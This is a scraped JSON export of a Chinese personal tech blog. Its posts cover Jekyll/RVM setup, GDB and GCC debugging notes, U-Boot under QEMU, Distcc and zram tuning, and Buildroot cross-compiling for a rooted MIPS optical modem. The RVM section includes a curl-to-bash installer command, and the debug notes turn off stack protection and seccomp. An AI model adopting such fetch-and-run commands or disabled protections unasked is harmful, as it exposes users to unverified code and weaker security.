ruby 语言编写，我们通过 Markdown 语法书写文档，Jekyll 引擎根据 Jekyll 模板插入 CSS，HTML和 Javascript，将 Markdown 文档自动给我们渲染组合成静态网页。\nJekyll是GitHub Pages的引擎，和 GitHub 有很好的兼容性。\n安装 RVM 和 Ruby # RVM 是 RUBY 的本版管理系统，它是一个命令行工具，比较优雅的做法就是用它管理不同版本的的ruby和gem包。\nRVM 是开源软件文档在 https://rvm.io/rvm/install\n$ gpg --keyserver keyserver.ubuntu.com --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3 7D2BAF1CF37B13E2069D6956105BD0E739499BDB gpg: directory \u0026#39;/home/ihexon/.gnupg\u0026#39; created gpg: keybox \u0026#39;/home/ihexon/.gnupg/pubring.kbx\u0026#39; created gpg: key 105BD0E739499BDB: 2 duplicate signatures removed gpg: /home/ihexon/.gnupg/trustdb.gpg: trustdb created gpg: key 105BD0E739499BDB: public key \u0026#34;Piotr Kuczynski \u0026lt;piotr.kuczynski@gmail.com\u0026gt;\u0026#34; imported gpg: key 3804BB82D39DC0E3: public key \u0026#34;Michal Papis (RVM signing) \u0026lt;mpapis@gmail.com\u0026gt;\u0026#34; imported gpg: Total number processed: 2 gpg: imported: 2 $ sudo apt install curl sudo gcc g++ make libffi-dev gnupg2 $ curl -sSL https://get.rvm.io | bash 此时 .bashrc 会被自动追加上 Rvm 的加载函数：\n# Add RVM to PATH for scripting. Make sure this is the last PATH variable change. export PATH=\u0026#34;$PATH:$HOME/.rvm/bin\u0026#34; 需要再当前 Shell 会话中 source /home/ihexon/.rvm/scripts/rvm，载入 RVM 函数开始使用：\n$ rvm list known # 列出可以安装的 ruby 解释器版本 $ rvm install 3.0.0 # 安装 ruby 3.0.0 版本, 如果没有依赖可能 root 需要密码自动安装依赖 Rvm 的ruby环境是和本机 Linux 发行版隔离的，所以不会调用本机发行版的软件包管理器安装 ruby二进制文件。RVM 脚本的在ARM64环境下的安装逻辑是下载 ruby 源码使用本机编译器编译，在我的RK3399 CPU 上大概用了20分钟之久。当然构建 ruby 用不了这么久，原因是 RVM 使用了单线程编译，此时 ps -aux 观察到：\n$ ps aux| grep make ihexon 141367 0.0 0.0 4940 452 pts/13 S+ 23:21 0:00 tee -a /home/ihexon/.rvm/log/1713021562_ruby-2.7.8/make.log ihexon 141369 0.0 0.0 6448 3140 pts/13 S+ 23:21 0:00 make -j1 使用 rvm list 列出已经安装的 ruby 环境，使用 rvm use 在当前shell会话中使用某个版本的 ruby 及其 gem 集合。\n$ rvm list ruby-3.0.0 [ aarch64 ] $ rvm use ruby-3.0.0 Using /home/ihexon/.rvm/gems/ruby-3.0.0 $ which ruby /home/ihexon/.rvm/rubies/ruby-3.0.0/bin/ruby 如果看到 rvm 返回一组错误提示： RVM is not a function, selecting rubies with 'rvm use ...' will not work.Sometimes it is required to use `/bin/bash --login` as the command.Please visit https://rvm.io/integration/gnome-terminal/ for an example. 执行 source ~/.rvm/scripts/rvm\n使用 Jekyll 构建个人站点 # 我网站使用的主题是 Quick Start - TeXt Theme (kitian616.github.io)。这个主题非常Nice\n$ git clone https://github.com/ihexon/ihexon.github.io --depth 1 $ cd ihexon.github.io $ bundle config set --local path \u0026#39;vendor/bundle\u0026#39; $ bundle install --path vendor/bundle bundle 会将 gems 安装到 vendor/bundle 下。\n使用 bundle exec jekyll serve 在本地构建静态网站，Jekyll 自带一个web服务器可以提供本地静态网站预览。 在我的 Gentoo 上这一步又出错了：\nERROR: It looks like you\u0026#39;re trying to use Nokogiri as a precompiled native gem on a system with an unsupported version of glibc. /lib/aarch64-linux-gnu/libm.so.6: version `GLIBC_2.29\u0026#39; not found (required by /home/ihexon/ihexon.github.io/vendor/bundle/ruby/2.7.0/gems/nokogiri-1.14.0-aarch64-linux/lib/nokogiri/2.7/nokogiri.so) - /home/ihexon/ihexon.github.io/vendor/bundle/ruby/2.7.0/gems/nokogiri-1.14.0-aarch64-linux/lib/nokogiri/2.7/nokogiri.so 查看我本地的 libc 版本：\n$ /usr/lib/aarch64-linux-gnu/libc.so.6 GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.6) stable release version 2.27. Copyright (C) 2018 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Compiled by GNU CC version 7.5.0. libc ABIs: UNIQUE For bug reporting instructions, please see: \u0026lt;https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs\u0026gt;. 看上去应该是 nokogiri 这个 GEM 包的动态库 /vendor/bundle/ruby/2.7.0/gems/nokogiri-1.14.0-aarch64-linux/lib/nokogiri/2.7/nokogiri.so 需要GNU C 库 2.29\n换底层 C 库是不可能的。当我执行 bundle install --path vendor/bundle 的时候。 nokogiri.so 这个动态库是预先构建好的然后通过 gem下载到我本地的，nokogiri 的 CI 容器的底层C库比我系统的版本高就会造成这种情况。解决办法是在本地构建一份nokogiri 的Gem包就OK。\n通过设置 bundle config set force_ruby_platform true 强制在本地构建所有的Gem库而不是下载 prebuild 版本。\n最后执行 bundle exec jekyll s 就可以看到静态页面跑起来了。 在比较老的系统上，构建 libxml2 有几率失败，这时可疑传入 \u0026ndash;use-system-libraries 使用系统的动态库：\n$ bundle config --global build.nokogiri --use-system-libraries $ gem install nokogiri --platform=ruby --use-system-libraries 编写内容 # 文档的命名规则为 [年]-]-[月]-[日]-[name].md，这些字段被 Jekyll 引擎解析后生成的路径就像这样： 使用一个 shell 脚本自动生成符合 Jekyll Posts 文件名的Markdown文件：\n#!/bin/bash POST_NAME=$(echo -n $@|sed \u0026#39;s/[^[:alnum:]]\\+//g\u0026#39;) DATE=$(date -I) TEMP_NAME=\u0026#34;$DATE-$POST_NAME.md\u0026#34; touch \u0026#34;_posts/$TEMP_NAME\u0026#34; echo \u0026#39;--- title: Title articles: excerpt_type: html --- \u0026#39; \u0026gt; \u0026#34;_posts/$TEMP_NAME\u0026#34; vim \u0026#34;_posts/$TEMP_NAME\u0026#34;","date":"30 May 2023","externalUrl":null,"permalink":"/posts/ihexon/","section":"Posts","summary":"向世界诉说自己的废话与美梦，让大家更懂你，更加排斥你\n","title":"Jekyll 个人站点快速上手（旧文）","type":"posts"},{"content":"","date":"30 May 2023","externalUrl":null,"permalink":"/categories/site/","section":"Categories","summary":"","title":"Site","type":"categories"},{"content":"","date":"3 May 2023","externalUrl":null,"permalink":"/tags/binutils/","section":"Tags","summary":"","title":"Binutils","type":"tags"},{"content":"","date":"3 May 2023","externalUrl":null,"permalink":"/tags/gcc/","section":"Tags","summary":"","title":"Gcc","type":"tags"},{"content":"整理 GDB、GCC、Binutils 相关调试笔记，包括 CMake 参数、链接选项和符号调试环境。\n-g3 -ggdb -O0 # 加入调试符号，关闭优化 -fno-stack-protector -no-pie -Wl,-dynamic-linker=/data/local/tmp/gentoo/home/glibc-2.38_bin/lib/ld-linux-aarch64.so.1 -Wl,-rpath=/data/local/tmp/gentoo/home/glibc-2.38_bin/lib -fno-builtin-printf -fstack-protector-all -fpic -pie -march=armv8-a+crc -pipe 在某些使用 CMAKE 构建的项目中，如有需要可以直接设置 CFLAGS，CXXFLAGS 环境变量，CMAKE会找到这些环境变量并加入最终生成的 Makefile 中。而链接时的尝试可以通过 DCMAKE_MODULE_LINKER_FLAGS/DCMAKE_MODULE_LINKER_FLAGS/DCMAKE_SHARED_LINKER_FLAGS/DCMAKE_EXE_LINKER_FLAGS 来控制：\n$ set -x CFLAGS \u0026#34;-ggdb -g3 -gdwarf -gdwarf-5\u0026#34; $ set -x CXXFLAGS \u0026#34;-ggdb -g3 -gdwarf -gdwarf-5\u0026#34; $ cmake -B build \\ -DCMAKE_EXPORT_COMPILE_COMMANDS=ON \\ -DCMAKE_MODULE_LINKER_FLAGS=\u0026#34;-Wl,-rpath=/home/ihexon/glibc-2.35_bin/lib/ -Wl,-dynamic-linker=/home/ihexon/glibc-2.35_bin/lib/ld-linux-aarch64.so.1\u0026#34; \\ -DCMAKE_SHARED_LINKER_FLAGS=\u0026#34;-Wl,-rpath=/home/ihexon/glibc-2.35_bin/lib/ -Wl,-dynamic-linker=/home/ihexon/glibc-2.35_bin/lib/ld-linux-aarch64.so.1\u0026#34; \\ -DCMAKE_EXE_LINKER_FLAGS=\u0026#34;-Wl,-rpath=/home/ihexon/glibc-2.35_bin/lib/ -Wl,-dynamic-linker=/home/ihexon/glibc-2.35_bin/lib/ld-linux-aarch64.so.1\u0026#34; GDB # 常见警告 # 由于 GDB 的安全性设定禁止加载外部的 libs，需要配置 auto-load safe-path 路径否则 GDB 无法加载到外部库如 libthread_db.so.1 等。写入这条语句到 ~/.gdbinit 中：\nset auto-load safe-path /data/local/tmp/gentoo/home/glibc-2.38_bin/lib/ 如果要使用独立的 libpthread_db.so 需要设置 libthread-db-search-path，如：\nset libthread-db-search-path /data/local/tmp/gentoo/home/glibc-2.38_bin/lib/ 注意：set libthread-db-search-path /data/local/tmp/gentoo/home/glibc-2.38_bin/lib/ 不能写成 set libthread-db-search-path \u0026quot;/data/local/tmp/gentoo/home/glibc-2.38_bin/lib/\u0026quot; (没有 \u0026quot; \u0026quot;) ！\nGDB 调试遇到警告：\nwarning: Error disabling address space randomization: Operation not permitted\ngdb$ set disable-randomization off If you running GDB inside docker:\ndocker run --cap-add=SYS_PTRACE --security-opt seccomp=unconfined call/print [expr] 指令 # 评估表达式 expr 并显示结果值，expr 也包括对程序中函数的调用。\nGDB 会为 expr 创建 dummy frame，这个 frame 不属于被调试程序的 frame。 但是 expr 可以访问和修改程序的运行时数据，所以 expr 编写不当会对程序产生一些非预期的副作用。\n通过 print 或 call 命令调用的函数可能会生成信号（例如，如果函数中存在错误，或者传递了不正确的参数）。在这种情况下，可以通过 set unwindonsignal 命令来控制发生的情况，比如\ncall printf(\u0026#34;%s\u0026#34;, 0x111111) 这显然会造成程序 Segmentation fault，因为 0x11111 并不受有效的VMA地址，GDB eval 这条代码后 GDB 立即收到 SIGSEGV 信号，此时 GDB 有两种行为取决于 unwindonsignal 的开关状态，\nset unwindonsignal off GDB 将停在接收信号的帧中，此时尝试 continue 可以发现 GDB 停在了这里 但异常处理又是另外的话题了不在这里解释。\nset unwindonsignal on GDB将展开其为调用创建的堆栈，并将上下文恢复到收到 SIGSEGV 信号之前的状态。\nIf a called function is interrupted for any reason, including hitting a breakpoint, or triggering a watchpoint, and the stack is not unwound due to set unwind-on-terminating-exception on or set unwindonsignal on (see stack unwind settings), then the dummy-frame, created by GDB to facilitate the call to the program function, will be visible in the backtrace, for example frame #3 in the following backtrace:\n(gdb) backtrace #0 0x00007ffff7b3d1e7 in nanosleep () from /lib64/libc.so.6 #1 0x00007ffff7b3d11e in sleep () from /lib64/libc.so.6 #2 0x000000000040113f in deadlock () at test.cc:13 #3 \u0026lt;function called from gdb\u0026gt; #4 breakpt () at test.cc:20 #5 0x0000000000401151 in main () at test.cc:25 At this point it is possible to examine the state of the inferior just like any other stop. TUI # 如果你不想安装 pwndbg 或者环境受限，GDB 也自带 tui 界面帮助调试。\nhttps://sourceware.org/GDB/current/onlinedocs/GDB.html/TUI.html#TUI\nC-x C-a ：Enter or leave the TUI mode. C-x o ：Change the active window. C-L ：Refresh the screen. gdb \u0026gt; set style tui-current-position on GDB 可以自定义 Layout，比如我想让窗口变成 4 栏，分别是 src,asm,regs。每个窗口大小为 10 height，layout 的名字叫 ihexon_layout。\ntui new-layout ihexon_layout src 10 regs 10 asm 10 status 1 cmd 10 tui layout ihexon_layout # 改变 src 和 asm 排列方式，高度为20行 tui new-layout ihexon_layout { -horizontal src 10 asm 10 } 20 regs 10 status 1 cmd 30 分离窗口后想要再次回到 cmd 窗口中需要：focus cmd\nbreakpoint # b 没什么好说的，断点就是乱打，打不中就继续瞎JB下断点。\n_dl_fixup 在 hit 到 main 函数后中断：\nbreak main commands silent tbreak _dl_fixup end layout 可能会因为Terminal 变得混乱，使用 tui refresh 重新绘制 layout。\n# 使用 GDB 的内置计算器进行十六进制相加 # 例如，计算 0x10 + 0x20 \u0026gt; p/x 0x10 + 0x20 \u0026gt; printf \u0026#34;0x%x\\n\u0026#34;, 0x10 + 0x20 # 如果你想查看函数 + 偏移量处的汇编代码，使用具体的地址 # 这里的地址是函数地址 + 偏移量 \u0026gt; disassemble _dl_audit_preinit+0xfc8 # 使用 print 来打印 0x000000000400200 字符串 \u0026gt; print -- (char*)0x000000000400200 # print 支持额外的打印参数，可以通过 help print 查看，注意 -- 分隔符的位置 \u0026gt; print -pretty on -address on -null-stop on -array on -array-indexes on -- (char*)0x000000000400200 # 使用 x 来打印 0x000000000400200 字符串 \u0026gt; x/s 0x000000000400200 0x400200: \u0026#34;/lib/ld-linux-aarch64.so.1\u0026#34; # 当然也可以单个字符串打印 \u0026gt; x/c 0x000000000400200 0x400200: 47 \u0026#39;/\u0026#39;","date":"3 May 2023","externalUrl":null,"permalink":"/posts/gdbgccbinutilsnotes/","section":"Posts","summary":"整理 GDB、GCC、Binutils 相关调试笔记，包括 CMake 参数、链接选项和符号调试环境。\n","title":"GDB/GCC/Binutils 笔记","type":"posts"},{"content":"","date":"3 May 2023","externalUrl":null,"permalink":"/tags/qemu/","section":"Tags","summary":"","title":"Qemu","type":"tags"},{"content":"","date":"3 May 2023","externalUrl":null,"permalink":"/tags/u-boot/","section":"Tags","summary":"","title":"U-Boot","type":"tags"},{"content":"U-Boot 提供一个交互式的 Shell 可以操作内存与外设。\nU-Boot shell # VirtIO 设备 # U-Boot 提供一个交互式的 Shell 可以操作内存与外设。\n使用 Qemu 的 virt 平台启动启动 U-Boot，添加 virtio-blk-pci 设备，drive 后端使用一个 raw 格式的虚拟磁盘。\n$ qemu-system-aarch64 -enable-kvm \\ -cpu max -smp 4 -m 512M -machine virt \\ --device loader,file=./u-boot/u-boot \\ -nographic \\ -drive if=none,file=disk/test,format=raw,id=hd0 \\ -device virtio-blk-pci,drive=hd0 这个磁盘挂载 PCI 总线下所以可被自动探测到：\n=\u0026gt; pci BusDevFun VendorId DeviceId Device Class Sub-Class _____________________________________________________________ 00.00.00 0x1b36 0x0008 Bridge device 0x00 00.01.00 0x1af4 0x1000 Network controller 0x00 00.02.00 0x1af4 0x1001 Mass storage controller 0x00 使用 virtio 命令对虚拟磁盘进行操作：\nvirtio scan - initialize virtio bus virtio info - show all available virtio block devices virtio device [dev] - show or set current virtio block device virtio part [dev] - print partition table of one or all virtio block devices virtio read addr blk# cnt - read `cnt\u0026#39; blocks starting at block `blk#\u0026#39; to memory address `addr\u0026#39; virtio write addr blk# cnt - write `cnt\u0026#39; blocks starting at block `blk#\u0026#39; from memory address `addr\u0026#39; 首先对所有的 virtio 设备进行扫描，并查看分区信息\n=\u0026gt; virtio scan =\u0026gt; virtio info Device 0: 1af4 VirtIO Block Device Type: Hard Disk Capacity: 512.0 MB = 0.5 GB (1048576 x 512) In order to boot ARM Linux, you require a boot loader, which is a small program that runs before the main kernel. The boot loader is expected to initialise various devices, and eventually call the Linux kernel, passing information to the kernel.\nEssentially, the boot loader should provide (as a minimum) the following:\nSetup and initialise the RAM. Initialise one serial port. Detect the machine type. Setup the kernel tagged list. Load initramfs. Call the kernel image. U-Boot 读写 EXT4 分区 # 理论上 U-Boot 已经支持 ext4 分区读写了，当在实践中却会报错：\n=\u0026gt; ext4write virtio 0:1 0x40400000 /llvm 10 Unsupported feature metadata_csum found, not writing. ** Error ext4fs_write() ** ** Unable to write file /llvm ** 原因是 fs/ext4/ext4_write.c 这个源文件内 ext4fs_write 函数内的这个判断语句阻止了在 U-Boot 在开启了 metadata_csum 的 ext4 文件系统上写入任何数据\nint ext4fs_write(const char *fname, const char *buffer, unsigned long sizebytes, int type){ .... if (le32_to_cpu(fs-\u0026gt;sb-\u0026gt;feature_ro_compat) \u0026amp; EXT4_FEATURE_RO_COMPAT_METADATA_CSUM) { printf(\u0026#34;Unsupported feature metadata_csum found, not writing.\\n\u0026#34;); return -1; } .... } 解决方法也非常简单，关闭ext4 文件系统 metadata_csum 这个特性就可以了。\n$ sudo tune2fs -O ^metadata_csum /dev/mapper/loop1p1 关闭后发现正常写入：\n=\u0026gt; ext4write virtio 0:1 0x40400000 /fuck 10 File System is consistent update journal finished 16 bytes written in 316 ms (0 Bytes/s) 猫猫好奇内存里有什么 # 导出 DTB\nmemsave 0x40000000 100000 dtb 常见错误 # 3G以上内存启动报错\nU-Boot 内存大小在 qemu 中最大为 3GB，如果在 Qemu 中设置内存为 4GB，U-Boot 将会报错：\nNo working controllers found Net: eth0: virtio-net#32 WARNING: SMBIOS table_address overflow 13d63f020 Failed to write SMBIOS table initcall failed at event 11/(unknown) (err=-22) ### ERROR ### Please RESET the board ### 实际上 Qemu 的文档中有相关说明，意思就是 U-Boot 在 qemu 中最大内存只能支持到 3G。\nCurrently U-Boot for QEMU only supports 3 GiB maximum system memory and reserves the last 1 GiB address space for PCI device memory-mapped I/O and other stuff, so the maximum value of ‘-m’ would be 3072.\nU-Boot vs U-Boot.bin vs U-Boot-nodtb.bin # U-Boot.bin 和 U-Boot-nodtb.bin 其实是一个文件。 但为是什么 hash 一样 ？\nMakefile 中相关的判断条件如下： U-Boot.bin 和 U-Boot-nodtb.bin 由一些列在 Makefile 中的分支语句共同决定，具体看上面代码了不废话。在 qemu_arm64_defconfig 中走到的代码块是这一块： U-Boot.bin 需要 U-Boot-nodtb.bin，所以 跳转到这里去构建 U-Boot-nodtb.bin: 然后 显然是直接 copy 了\nif_changed 是一个Makefile 调用到的宏，一般用在 Kernel Build 系统中，U-boot 源码树也使用了这一机制。\n","date":"3 May 2023","externalUrl":null,"permalink":"/posts/uboot0x1/","section":"Posts","summary":"U-Boot 提供一个交互式的 Shell 可以操作内存与外设。\n","title":"U-Boot 研究记录","type":"posts"},{"content":"","date":"3 May 2023","externalUrl":null,"permalink":"/tags/virtio/","section":"Tags","summary":"","title":"Virtio","type":"tags"},{"content":"","date":"3 February 2023","externalUrl":null,"permalink":"/tags/buildroot/","section":"Tags","summary":"","title":"Buildroot","type":"tags"},{"content":"","date":"3 February 2023","externalUrl":null,"permalink":"/tags/busybox/","section":"Tags","summary":"","title":"Busybox","type":"tags"},{"content":"","date":"3 February 2023","externalUrl":null,"permalink":"/tags/distcc/","section":"Tags","summary":"","title":"Distcc","type":"tags"},{"content":"","date":"3 February 2023","externalUrl":null,"permalink":"/tags/mips/","section":"Tags","summary":"","title":"Mips","type":"tags"},{"content":"","date":"3 February 2023","externalUrl":null,"permalink":"/tags/zram/","section":"Tags","summary":"","title":"Zram","type":"tags"},{"content":"继续记录 Distcc 集群的性能优化思路，包括节点配置、构建参数和实际瓶颈分析。\n接这篇：Distcc 快速上手与性能优化 - IHEXON 的主站\n刚刚搭建起的 Distcc 编译 kernel 6.1.0 大概加速了 30% ，显然这不太行，观察 Distcc 主节点的 CPU 负载到了 100 %，其余5 个 ARM 节点的 CPU 负载均为 50% 左右，偶尔能跑满但很快就又开始摸鱼。\nx86 节点的负载更低，属于是没干活。\n一些用到的理论 # 四句话介绍 Distcc 逻辑 # C++ 文件到 ELF 二进制文件中间几个过程：\n在 g++/GCC 生成汇编代码后，as 进行汇编翻译之前，distcc 会把生成的 .s 文件发送到 distcc NodeX 进行汇编编译，然后 distccd 回传 .o/.obj 给 Distcc 主编译机。主编译机接收 .o/.obj 进行二进制链接。\n由于经过 GCC 预处理后的 .s 文件不依赖外部 Header，因为外部 Header 在 cpp 处理阶段已经被包含进来了，这就意味着 distcc 只需要分发这个 .s 文件到其他机器上就ok。\n使用 make -jN 进行多线程构建时，make 会根据 Makefile 生成一张.c/.c++ 和.o/obj的依赖图，make 会根据这张依赖图进行源文件的多线程编译，所以 distcc 也不需要处理依赖关系。\ndistccd 使用 sendfile 这个系统调用发布处理过的源文件，sendfile 提供一个文件描述符到另一个文件描述符直接的零拷贝，这比使用 read 和 write 要更快。\n选择对的主编译机 # 主编译机负责 预处理和 分发汇编文件的编译负载到集群中，在分发编译失败的情况下，主编译机还要接受失败的编译载荷并尝试本地编译，所以主编译器的性能是集群中最好的。\n主编译机预处理的速度越快，集群的工作越忙碌，不然其它机器就会摸鱼。\n我把主编译机从 rk3399 平台移动到 rk3566 平台后，未作任何优化的情况下，编译 6.1.y 内核耗时缩短到 96 分钟。\n原来的 编译环境在 rk3399 平台上，构建 6.1.y 源码树耗时 140 分钟。\n我把主编译机从 rk3399 平台移动到 rk3566 平台后，未作任何优化的情况下，编译 6.1.y 内核耗时缩短到 96 分钟。\n把主编译机移动到无头骑士 Dell 笔记本上，CPU为 Intel(R) Core(TM) i5-7200U CPU @ 2.50GHz 上，耗时缩短到 63 分钟。\n实际上 63 分钟已经很可观了，我在源码树内插入了 BPF 调试类的桩子，并且启用了几个 Debug 开关，导致编译器要处理许多的额外代码。去除这些不需要的 Debug 开关和代码桩。实际上 构建 6.1.y 源码树会更快。\n优化 IO : 使用 zram 挂载到 /tmp 下 # Distcc 的逻辑是本地预处理、集群编译。所以本地预处理的速度越快，distcc 就可以越快的把任务下发到集群内的各个机器。回顾我这里出现的状况：\n刚刚搭建起的 Distcc 编译 kernel 6.1.0 大概加速了 30% ，显然这不太行，观察 Distcc 主节点的 CPU 负载到了 100 %，其余5 个 ARM 节点的 CPU 负载均为 50% 左右，偶尔能跑满但很快就又开始摸鱼。\n显然是I/O 太慢，导致预处理太慢，distccd 没有及时的将任务下发到集群里。\n有 4 台 S905X3 机顶盒不痛不痒参与集群，这些机器配置 DDR3 4GB 内存，其中 2 个盒子拆开后发现内存颗粒被更换，为二次翻修盒子。\n使用 DD 测试的时候千万要小心，要是 dd 的 if 和 of 参数搞反了 ：） 3 台盒子配置均相同，编号为# distcc Node0/1/2， 这里参考# distcc Node0 节点进行测试。\n测使用 dd if=/dev/zero of=test bs=1M count=1024 status=progress conv=fsync 试连续写速度：\n# distcc Node1 $ dd if=/dev/zero of=test bs=1M count=1024 status=progress conv=fsync 1001390080 bytes (1.0 GB, 955 MiB) copied, 7 s, 143 MB/s 1024+0 records in 1024+0 records out 1073741824 bytes (1.1 GB, 1.0 GiB) copied, 13.0264 s, 82.4 MB/s 使用 sudo hdparm -t /dev/mmcblk2 测试读取速度：\n# distcc Node1 $ sudo hdparm -t /dev/mmcblk2 /dev/mmcblk2: Timing buffered disk reads: 688 MB in 3.01 seconds = 228.87 MB/sec 综合读写速度使用 dd if=/dev/mmcblk1 of=test bs=1M count=300 status=progress 测试：\n$ dd if=/dev/mmcblk2 of=test bs=1M count=300 status=progress 313524224 bytes (314 MB, 299 MiB) copied, 4 s, 78.3 MB/s 300+0 records in 300+0 records out 314572800 bytes (315 MB, 300 MiB) copied, 7.03009 s, 44.7 MB/s 综合读写速度为 44.7 MB/s。\n但是# distcc Node3插了假冒伪劣的闪迪 SD card 启动，这台eMMC被我弄坏了这里参考，写速度只有9.6 MB/s，读速度 109.26 MB/sec，综合读写速度只有 6.1 MB/s，我就不放数据了，恶心心，在集群这里是个这里是个瓶颈。\n优化distccd 在志愿机器的 IO 速度 # 但我不愿意掏钱买 sdcard 更不愿意等几天快递到货，考虑到盒子的 4GB DDR3 内存有点冗余，所以可以使用 zram 在内存里划分一块区域充当磁盘，我使用的 zram 配置工具是 ‣\n配置文件在 /etc/systemd/zram-generator.conf\n$ cat /etc/systemd/zram-generator.conf [zram1] mount-point = /mnt/zram1 compression-algorithm = lzo fs-type = ext4 zram-size = 4096 * 3 compression-algorithm = lzo 使用 lzo 对内存的数据进行压缩，当然，你也可以选择 zstd 提升。\nfs-type = ext4 内存盘使用 ext4 格式。\nmount-point = /mnt/zram1 内存盘挂载点。\nzram-size = 4096 * 3 分配 3 倍的内存空间给 zram 内存盘。\n这里的配置完全是乱配的，也非常激进，因为后期我需要观察 zram 的压缩率来充分压榨内存空间。\n配置完成后，使用 systemctl start zram1 启用 zram1 内存盘后，手动格式化成 ext4 挂载到 /mnt/zram1 下，我这里复制一份 构建好的 pcre-8.45/ 的源码树进 /mnt/zram1。 使用zramctl --output-all 观察 zram 的内存占用和压缩情况：\n$ zramctl NAME ALGORITHM DISKSIZE DATA COMPR TOTAL STREAMS MOUNTPOINT /dev/zram1 lzo 12G 143.3M 39.1M 41.2M 6 /mnt/zram1 可以看到 DATA 有 143.3M ，COMPR 后为 39.1M这样算下来：\n压缩率就取 3.5 吧\n在盒子启动后，内存占用 差不多 300M 左右，Docker Engine 和 Distcc 容器占用200 M左右，外加 1G 预留空间给用户程序，4G内存剩下 2500 左右的空间，这 2500M 物理内存全分给 ZRAM 内存盘，于是我们就有了 2500x3.5== 8960 M 的内存盘空间。\n把 /etc/systemd/zram-generator.conf 文件中的 zram-size 修改成 8960 M。\n但注意，在编译过程中通常产生许多类型的文件，比如 o/obj，tar，bzip2，sqldata 等，实际上的源数据 / 压缩数据会小于3.5 / 1， 情况再恶劣一点，假如你的数据压缩率只有 2:1 或在这之下，那么 500M 文件就会把 zram 内存盘塞满，加上此时用户程序占掉 1024+M 内存，属于是把内存基本用完，极端情况下有爆内存的风险。有一句话比较好，在调试系统之前，你需要知道你在干什么。\n在 Distcc 集群的志愿机中，设置环境变量 TMPDIR=/mnt/zram1 后启动 distccd，所有接受的 .s 文件和汇编后的.o目标文件将输出到 /mnt/zram1 下，可以加速 GNU as 对.s的编译速度和 distccd 读取这些.o目标文件的速度。\n优化 Distcc 在主编译器的 IO 速度 # 同样的套路，安装 ‣，编写配置文件：/etc/systemd/zram-generator.conf\n主编译机在 Intel(R) Core(TM) i5-7200U CPU @ 2.50GHz 的平台上，内存我给加到了 16 G，所以我这里就可以划分 13 G 的区域给 zram 内存盘，把整个 6.1.y 内核源码丢到 zram 内存盘里构建。\n在内存 中划分 13 G 区域，使用压缩算法 lzo 压缩，于是得到一块差不多 40 G 的虚拟内存盘，完全可以Hold 住 6.1.y 内核树的构建过程, 剩下的空间你甚至可以找乐子把将 KVM 虚拟机移动到这个内存盘里启动….\n优化网络 # Distcc 最好在千兆网络下，因为据我观察，在尽可能多分发任务的情况下，网卡负载通常在 15M/s-20M/s 左右，百兆交换机明显有瓶颈，千兆交换机完全满足需求。我这里是千兆交换机，考虑到小包传输速率也不会影响 Distcc 传输，因为分发下去的.s 汇编文件大小远超4k，所以 nothing to do\n","date":"3 February 2023","externalUrl":null,"permalink":"/posts/boostyourdistccd/","section":"Posts","summary":"继续记录 Distcc 集群的性能优化思路，包括节点配置、构建参数和实际瓶颈分析。\n","title":"优化 Distcc 集群的性能","type":"posts"},{"content":"拿到光猫的最终控制台后，接下来怎么办？是不是可以放一点私货进去？ 首先，光猫的 cpu 架构是mips32架构，这一点可以从 cat /proc/cpuinfo 这条命令验证。\n#cat /proc/cpuinfo system type : EcoNet EN751221 SOC machine : Unknown processor : 0 cpu model : MIPS 34Kc V5.8 这里的 MIPS 34K 是 MIPS 的 MIPS32 处理器系列的成，似乎三大运营商配送的光猫都是 MIPS32 架构。\n可以使用MIPS的编译器工具链，自己构建一些库和二进制上传到这台光猫中运行，二进制的源码结构越复杂，调用的外部依赖库越多，构建起来约复杂。你可以去网上寻找一些 MIPS 的交叉编译器工具链，分析代码层级，解决 configure 阶段所需的依赖库 , 解决代码内对平台架构所定义的 # d\nefind 适配问题，当然一般人肯定不会这样做，这又不是刀耕火种的时代，没人会从0开始做这种吃力不讨好的事情。\n所以当然是用 Buildroot。\nBuildroot 是一些列 Makefile，patch和 Scripts 的组合的框架，你可以使用这些 Makefile和 Patch构建你自己的嵌入式 Linux 文件系统，Buildroot 支持许多架构，自动化构建交叉编译工具链，再使用构建好的交叉编译器工具链构建你需要的库和二进制程序，将这些库和二进制程序打包生成一个最基础的嵌入式文件系统，Buildroot 还可以构建内核和 uboot 并生成可启动的镜像，比如我的 RockPiN10 就被 Buildroot 支持…..\n说一句闲话：我在邮件列表里看到 Buildroot 支持 rockpin10 的时候就第一时间去尝试了一下使用 Buildroot 构建一个 musl 为C库的最小 Linux 可启动镜像，使用的主线内核和 uboot，但在实测启动的时候内核会崩溃，原因是未知，所以也只是支持，至少主线 uboot 可以从 sdcard 引导内核了。开源社区就是这样，它能工作，但有时候它也不能。因为这不是产品，所有的东西都可以祝你一臂之力，但不能让你一键摩托变跑车。\n使用 Buildroot 构建二进制和库文件 # 下载 Buildroot 源码，这里我使用 github 上最新的代码库试水，祝我好运~\nBuildroot 配置和 Linux kernel 的配置界面不能说是相似，只能说是一模一样。但是要比 Linux kernel 的 menuconfig 要简单许多。\n$ git clone git://git.busybox.net/buildroot --depth 1 $ cd buildroot $ make menuconfig TIPS：你可以使用键盘/ 来查找单一配置路径，就像是在分页器里搜索字符串一样。\n配置 Target options # 首先判断当前内核为大端还是小段，这个很重要，不要瞎猜，否则电费白给。使用固件内的 ELF 文件头判断。\n提取前 5 bytes 的数据：\n#hexdump -n 6 -C /bin/busybox 00000000 7f 45 4c 46 01 02 |.ELF..| 前 4 bytes 7f 45 4c 46 是固定的表示这是一个 ELF 文件，第 5 bytes 为 01 说明这个ELF 为 32 位，第 6 bytes，为 02 表示这个ELF文件 为大端二进制。\n使用 make menuconfig 进行对需要生成的目标系统和需要生成的交叉编译工具链进行基础配置。\n架构选择 MIPS (big endian)，位置：\nPrompt: MIPS (big endian) Location: -\u0026gt; Target options -\u0026gt; Target Architecture (\u0026lt;choice\u0026gt; [=y]) 根据光猫内的 /proc/cpuinfo，我知道这台光猫处理器型号为 EcoNet EN751221 SOC，指令集架构(ISA)为： mips1 mips2 mips32r1 mips32r2\nsystem type : EcoNet EN751221 SOC machine : Unknown processor : 0 cpu model : MIPS 34Kc V5.8 MIPS : 1195.21 wait instruction : yes microsecond timers : yes tlb_entries : 32 extra interrupt vector : yes hardware watchpoint : yes, count: 4, address/irw mask: [0x0ffc, 0x0ffc, 0x0ffb, 0x0ffb] isa : mips1 mips2 